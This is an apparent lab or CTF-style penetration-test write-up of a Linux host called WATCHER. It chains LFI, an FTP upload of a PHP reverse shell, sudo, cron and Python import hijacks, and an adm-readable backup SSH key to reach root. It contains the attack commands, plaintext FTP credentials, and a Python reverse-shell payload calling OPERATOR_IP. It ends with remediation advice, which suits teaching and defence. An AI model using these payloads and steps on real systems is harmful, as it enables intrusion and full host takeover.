LFI to FTP write, cron pivots, and adm backup SSH key
Intermediate Linux engagement: robots and LFI exposed FTP credentials; writable FTP plus LFI yielded RCE; sudo, cron, and Python import hijacks moved laterally; an adm-readable backup key completed root over SSH.
- Case files
- LFI to FTP write, cron pivots, and adm backup SSH key
HTTP LFI and anonymous-style FTP write chained into a www-data shell. Four privilege boundaries fell to sudo, cron, Python import abuse, and a base64 SSH key readable by the adm group.
robots.txt pointed at an early artifact. post.php?post= read /etc/passwd and a secret file that held FTP credentials.
Authenticated FTP accepted a PHP reverse shell under files/. Including that path via post.php returned a www-data shell.
sudo -u toby opened the next home. Writable cow.sh ran as mat via cron. will_script.py imported attacker-writable cmd.py under sudo -u will.
will was in adm. /opt/backups/key.b64 decoded to a root SSH private key.
Engagement summary
HTTP LFI and anonymous-style FTP write chained into a www-data shell. Four privilege boundaries fell to sudo, cron, Python import abuse, and a base64 SSH key readable by the adm group.
Against host WATCHER, post.php accepted a post parameter that read arbitrary files. That LFI disclosed FTP credentials (ftpuser / givemefiles777). Uploading a PHP shell into the FTP files directory and including it via LFI produced a reverse shell as www-data. From there we sudo’d to toby, overwrote a cron-executed cow.sh to land as mat, hijacked a Python module imported under sudo as will, then decoded /opt/backups/key.b64 (group adm) into a root SSH key.
Business impact
File-inclusion plus writable FTP is remote code execution. Cron scripts owned by lower-privilege users, sudo that imports attacker-writable Python modules, and backup SSH keys readable by shared groups turn a single web bug into full host compromise. Remediate LFI, lock FTP uploads outside the include path, harden cron ownership, and store private keys with root-only permissions.
Recon and local file inclusion
robots.txt pointed at an early artifact. post.php?post= read /etc/passwd and a secret file that held FTP credentials.
OPERATOR · NMAP
savvy@lab:~$ nmap -sSCV 10.10.140.88
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd
22/tcp open ssh OpenSSH
80/tcp open http Apache httpd
OPERATOR · LFI
savvy@lab:~$ curl -s http://10.10.140.88/robots.txt
flag_1.txt
savvy@lab:~$ curl -s 'http://10.10.140.88/post.php?post=/etc/passwd'
ftpuser:x:1001:1001::/home/ftpuser:/bin/bash
savvy@lab:~$ curl -s 'http://10.10.140.88/post.php?post=secret_file_do_not_read.txt'
ftpuser:givemefiles777
FTP upload and LFI to RCE
Authenticated FTP accepted a PHP reverse shell under files/. Including that path via post.php returned a www-data shell.
OPERATOR · FTP
savvy@lab:~$ ftp 10.10.140.88
Name: ftpuser
Password: givemefiles777
ftp> cd files
ftp> put rev.php
ftp> bye
savvy@lab:~$ nc -lvnp 4444
# trigger: curl '...?post=/home/ftpuser/ftp/files/rev.php'
savvy@lab:/var/www/html$
Sudo, cron, and Python import pivots
sudo -u toby opened the next home. Writable cow.sh ran as mat via cron. will_script.py imported attacker-writable cmd.py under sudo -u will.
OPERATOR · TOBY / MAT
savvy@lab:~$ sudo -l
(toby) NOPASSWD: /bin/bash
savvy@lab:~$ sudo -u toby /bin/bash
# overwrite /home/toby/jobs/cow.sh with reverse shell; cron runs as mat
savvy@lab:~$ nc -lvnp 5555
savvy@lab:/home/mat$
OPERATOR · PYTHON HIJACK
savvy@lab:~$ sudo -l
(will) NOPASSWD: /usr/bin/python3 /home/mat/scripts/will_script.py *
# replace /home/mat/scripts/cmd.py (imported by will_script.py)
savvy@lab:~$ sudo -u will /usr/bin/python3 /home/mat/scripts/will_script.py 1
savvy@lab:/home/will$
PAYLOAD
cmd.py
import socket,os,pty
s=socket.socket();s.connect(("OPERATOR_IP",6666))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/bash")adm group backup key to root
will was in adm. /opt/backups/key.b64 decoded to a root SSH private key.
OPERATOR · ROOT KEY
savvy@lab:~$ find / -type f -group adm 2>/dev/null
/opt/backups/key.b64
savvy@lab:~$ base64 -d /opt/backups/key.b64 > ssh.key && chmod 600 ssh.key
savvy@lab:~$ ssh -i ssh.key root@10.10.140.88
root@lab:~# id
uid=0(root) gid=0(root) groups=0(root)
Remediation
Reject path traversal in post.php; store FTP uploads outside any includeable tree; ensure cron jobs are not writable by the invoking user; never sudo Python scripts that import modules from writable directories; encrypt and restrict backup private keys to root:root 600.